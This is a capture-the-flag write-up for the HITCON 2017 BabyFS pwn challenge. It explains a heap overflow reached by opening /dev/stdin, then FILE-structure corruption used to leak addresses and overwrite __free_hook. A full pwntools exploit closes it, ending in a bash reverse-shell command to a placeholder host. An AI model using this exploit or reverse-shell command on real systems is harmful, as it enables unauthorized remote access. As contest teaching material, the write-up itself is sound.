HITCON CTF 2017 BabyFS Writeup

2017/11/08 CTF Writeup

The Challenge

13 Teams solved

Canary:                                           Yes
NX Support:                                       Yes
PIE Support:                                      Yes
No RPATH:                                         Yes
No RUNPATH:                                       Yes
Partial RelRO:                                    Yes
Full RelRO:                                       Yes

Playing with the challenge binary, we will see some options such as Open, Read, Write, Close. It looks like this challenge is functionally related to file operations.

***********************************
*             Baby FS             *
***********************************
* 1. Open                         *
* 2. Read                         *
* 3. Write                        *
* 4. Close                        *
* 5. Exit                         *
***********************************
Your choice: 

We reversed the binary, the binary itself is not hard to reverse. We quickly figured out all the functions.

  • open:calling fopen(“userinputname”,”r”) to open a file,then using fseek and ftell combination to get file size, and calling calloc(file size+1) to alloc a file buffer. finally, store the FILE* pointer, file size, file buffer pointer, iswrited(a bool flag) to a structure resided in bss segment.
  • read: choose a file we opened, and input a size smaller than filesize, it will read fileszie bytes data from file to the filebuffer.In addition, the openfile function will check whether the name of file you attend to open contains a string “proc” or a string “flag”, if it is, the function will refuse to open that file. in addition, the userinput filename must do not contain string “flag” or “proc”.
  • write: choose a file we opened, if iswrited flag is false, the function will write the first byte of file buffer to stdout and set flag to true.
  • close: fclose a choosen file, and free the file buffer, then, all the fields in the bss structure are reset properly.

There are some extra feathers and limitations not very related to solve this challenges. First, there are at most three opened file at the same time, second, if we failed to open a file, a log “failed to open file %filename%” will output to log file. if log file is not opened, calling fopen(“/tmp/%randomname%.txt”,”a”) to open it. the log file will be closed before the program exit.

The Vulneriblity

By now, everything seems to be OK, no logic error, no UAF, no vulnerabilities ?

Wait! What if we open “/dev/stdin” and read it? Things become interesting, the program will read at most file size length data from stdin to the file buffer. there is only one question remains, what’s the size of stdin?

__int64 func_open()
{		
      ....
 	  printf("Filename :");
      readstring((unsigned __int8 *)&filename, 0x3Fu);
      check((__int64)&filename, 0x3Fu);
      fd = fopen(&filename, "r");
  	   ....
      file_size[i] = get_filesize(fd);
      file_buffer[i] = calloc(1uLL, file_size[i]) + 1LL);
  	   ....
}

__int64 __fastcall get_filesize(FILE *fp)
{
  __int64 filesize; // ST18_8@1

  fseek(fp, 0LL, 2);
  filesize = ftell(fp);
  fseek(fp, 0LL, 0);
  return filesize;
}

According to code above, we know the file size actually depends on the return value of fseek and ftell. if the FILE* pointer passed into fseek and ftell is point to a FILE struct of “/dev/stdin”, both fseek and ftell will fail and return -1. Things become more interesting, since file_size is an unsigned value, -1 is treated as a extremely large value(i.e. MAX_ULONGINT). As we can see, after calling get_filesize, a calloc(file_size+1) is called to alloc a file buffer. Note that file size is -1, a calloc(0) is actually called, and the return value is a buffer with size 0x10 (0x20 for chunk).

int func_read()
{
  _DWORD file_index;
  _QWORD read_size; 

  printf("Fileindex :");
  file_index = (unsigned int)readint();
  ....(check is file existed)
  printf("Size :");
  read_size = (signed int)readint();
  if ((_QWORD )file_size[file_index]) < read_size )
  {
    puts("Invalid size !");
    exit(-1);
  }
  fread(
    file_buffer[file_index]),
    1uLL,
    *(size_t *)&read_size,
    file_pointer[file_index]);
    file_buffer[file_idx][read_size] = 0;
  ....
}

if we read /dev/stdin, recall that file_size[file_index] is MAX_ULONGINT, so any read_size will pass the check. it means we can read arbitrary length of data into a 0x10 size file_buffer. Yes! There is a heap overflow!

Exploit

Heap overflow is powerful, but it is worth nothing if there isn’t a proper structure to overwrite by overflow. calloc the file buffer is the only memory allocation function call in the binary. is this means the heap overflow is useless? the answer is NO!

Remind that FILE *fp = fopen(filename,mode) is not only open a file, but also alloc a FILE structure on the heap. if we trigger the heap overflow, it is easily to overwrite the FILE structure.

With the ability to overwrite FILE structure, we have several choices to hijack the control flow, such as overwrite IO_file_jump pointer(despite the libc2.24 add the vtable check, we still can achieve this if we can control some field of the FILE structure, see this) or overwrite the input buffer inside the FILE structure. The solution seems to get clear.

Info leak

But there is another problem, leak. Write option in the menu seems like the only way to write data into stdout, and it seems like this option cannot leak any adress. Acturally, the way to leak address for this challenge is a little bit tricky. we leverage the buffer mechanism of libc IO and FILE structure.

When reading data using stdio series functions such as fread. the libc will check whether read buffer is empty. if it is, a fix amount of data will be read into the internal buffer of FILE structure. The later input function will get data from buffer until buffer is empty again. Writing data is similar, all the data we output use a stdio series function will firstly output into the internal buffer of FILE structure until the buffer is full or something that can trigger the libc flush the outbuffer happened. if the buffer is full or the flush is triggered such as a fflush function is called, all the data in the buffer will be output into file.

The buffering mechanism works well normally, but we can abuse this mechanism to do some interesting thing.

struct _IO_FILE {
  int _flags;		/* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

  /* The following pointers correspond to the C++ streambuf protocol. */
  /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
  char* _IO_read_ptr;	/* Current read pointer */
  char* _IO_read_end;	/* End of get area. */
  char* _IO_read_base;	/* Start of putback+get area. */
  char* _IO_write_base;	/* Start of put area. */
  char* _IO_write_ptr;	/* Current put pointer. */
  char* _IO_write_end;	/* End of put area. */
  char* _IO_buf_base;	/* Start of reserve area. */
  char* _IO_buf_end;	/* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

  struct _IO_marker *_markers;

  struct _IO_FILE *_chain;

  int _fileno;
#if 0
  int _blksize;
#else
  int _flags2;
#endif
  _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */

#define __HAVE_COLUMN /* temporary */
  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];

  /*  char* _save_gptr;  char* _save_egptr; */

  _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

The code above is the FILE structure. we can see there are 8 pointers related to buffering. For the info leak, we first overwrite the last byte of _IO_write_base to 0x00 using partial overwrite, then close the overwritten FILE structure using fclose(), since fclose() will flush the buffer, all the data from _IO_write_base to _IO_write_ptr will be ouputed into FILE.

But there are still something challenging: All the file we opened in the chanllenge is opened in readonly mode, so the techniques we state above will not work because write to a readonly file descriptor will fail. the solution is overwriting file descriptor field of FILE structure to 1(stdout) or 2(stderr) first. this will also cause a side-effect that all buffer related field will also be overwritten and we can no longer perform a partial overwrite. this stunk us a little while, but quickly we figured out that fread and fseek would try to fix an invalid buffer. so we can use read in the menu to fix the buffer pointers inside the FILE structure. and finally we can perform partial overwrite to the _IO_write_base and close the file, a heap address will be leaked.

With the leaked heap address, we can do it again to leak libc address, instead of partial overwriting the _IO_write_base, we now need to overwrite the buffer and make it contains a libc address. FILE structure indeed has some libc address, this is not very hard.

Get a shell

Once we leaked libc address, we have several choices to hijack the control flow. I don’t want to play with FILE struct vtable so I choose to overwrite the input buffer and make it start with freehook and end with somewhere behind the freehook. the way to overwrite input buffer is slightly different(see the libc source code), we need to __IO_buf_base to freehook and _ IO_buf_end to somewhere behind the freehook. and then we read this buffer overwritten file, it will read data into the freehook. we overwrite the freehook to system, and close another file with a buffer contains a “/bin/sh”, a shell got!

int func_close()
{
  signed int v1; // [rsp+Ch] [rbp-4h]@1

  printf("Fileindex :");
  v1 = readint();
  if ( v1 < 0 || v1 > 2 )
  {
    puts("Out of bound !");
    exit(0);
  }
  if ( !file_pointer[v1] )
    return puts("No such file !");
  printf("Closing %s ...\n", &file_pointer[12 * (signed __int64)v1 + 2]);
  if ( file_buffer[v1] )
    free(file_buffer[v1]);
  ....
}

Note that, since we closed both stdout and stderr during the leak stage, after we get /bin/sh running, we need to spawn a reverse shell to get an interactive shell.

Attack remotely

After we got the local shell, we continued trying to attack remotely. after some unsuccessful tries. We suddenly realized that there was something we missed: the readme file inside the challenge package.

socat tcp-l:50216,reuseaddr,fork exec:/home/babyfs/babyfs,pty,ctty,echo=0

What is so called “,pty,ctty,echo=0”? To figure it out, we opened a local socat server and tried to attack “remotely”, then attached the debugger to the challenge process and tried to find out why the remote attack is failed . we found surprisingly that all the ‘\xff\x7f’ are disappear ! it seemed like the console parses the ‘\x7f’ as delete and “eat” the ‘\xff’. this drove us crazy for sure because we took a lot time to figure out how to escape the ‘\x7f’. Finally we knew the SYNC control character ‘\x16’ can escape the ‘\x7f’ and prevent the character before ‘\x7f’ to be eaten after the contest end. Yes! after the contest end QaQ.

Finally, Thanks Angelboy for making this great challenge, it is very fun.

Exploit

Here is the final exploit

from pwn import *
context.log_level="debug"
io=remote("52.198.183.186",50216)

def readuntil(delim):
    data=io.recvuntil(delim)
    return data

def readlen(n):
    data=io.recv(n)
    return data

def writeline(data):
    io.sendline(data)

def write(data):
    io.send(data)

def openfile(filename):
    readuntil('choice: ')
    writeline('1')
    readuntil('Filename :')
    writeline(filename)

def readfile(idx, size):
    readuntil('choice: ')
    writeline('2')
    readuntil('Fileindex :')
    writeline(str(idx))
    readuntil('Size :')
    writeline(str(size))

def writefile(idx):
    readuntil('choice: ')
    writeline('3')
    readuntil('Fileindex :')
    writeline(str(idx))

def closefile(idx):
    readuntil('choice: ')
    writeline('4')
    readuntil('Fileindex :')
    writeline(str(idx))

def _openfile(filename):
    sleep(2)
    writeline('1')
    sleep(2)    
    writeline(filename)
    sleep(2)   

def _readfile(idx, size):
    sleep(2)   
    writeline('2')
    sleep(2)   
    writeline(str(idx))
    sleep(2)   
    writeline(str(size))
    sleep(2)   

def _writefile(idx):
    sleep(2)   
    writeline('3')
    sleep(2)   
    writeline(str(idx))
    sleep(2)   

def _closefile(idx):
    sleep(2)   
    writeline('4')
    sleep(2)   
    writeline(str(idx))
    sleep(2)   

openfile("/dev/stdin")
openfile("/dev/stdout")

flags = 0xfbad3887
flags &= (~8)
flags |= 0x800
payload="A"*24+p64(0x231)+p32(flags)+p32(0)+p64(0)*13+p64(2)
readfile(0,len(payload))
sleep(2)
writeline(payload)
readfile(1,0)
payload2="B"*23+p64(0x231)+p32(flags)+p32(0)+p64(0)*3+'\x00'
readfile(0,len(payload2))
writeline(payload2)
closefile(1)
readuntil('\xad\xfb')
readlen(36)
buf=readlen(8)
heap=u64(buf)-0xf3
print "[LEAK] heap addr = ",hex(heap)
closefile(0)
sleep(2)

#again

openfile("/dev/stdin")
openfile("/dev/stdout")
flags = 0xfbad3887
flags &= (~8)
flags |= 0x800
payload="C"*24+p64(0x231)+p32(flags)+p32(0)+p64(0)*13+p64(1)
readfile(0,len(payload))
writeline(payload)
readuntil("Done")
readfile(1,0)
fakebuf=heap+0x140
fakebuf_end=heap+0x200
payload2="D"*23+p64(0x231)+p32(flags)+p32(0)+p64(0)*3+p64(fakebuf)+p64(fakebuf_end)*4
readfile(0,len(payload2))
writeline(payload2)
readuntil("Done")
closefile(1)
readuntil("Closing /dev/stdout ...")
readuntil("\n")
readlen(8)
libc=0
libc=u64(readlen(8))
libcbase=libc-0x3BE400
freehook=libcbase+0x3C3788
system=libcbase+0x456a0
print "[LEAK] libc addr = ",hex(libcbase)

#again without stdout

_openfile("/dev/../dev/stdin")
_closefile(0)
_openfile("/dev/stdin")
flags = 0xfbad208b
payload="/bin/sh".ljust(24,"\x00")+p64(0x231)+p32(flags)+p32(0)+p64(freehook)*6+p64(freehook)+p64(freehook+0x80)
lenpayload=len(payload)
payload=payload.replace('\x7f','\x16\x7f')
_readfile(0,lenpayload)
writeline(payload)
payload2=p64(system)
payload2=payload2.replace('\x7f','\x16\x7f')
_readfile(1,8)
writeline(payload2)
_closefile(0)
writeline("bash -c 'bash -i >& /dev/tcp/myipaddress/8888 0>&1'")
io.interactive()

Search

    Post Directory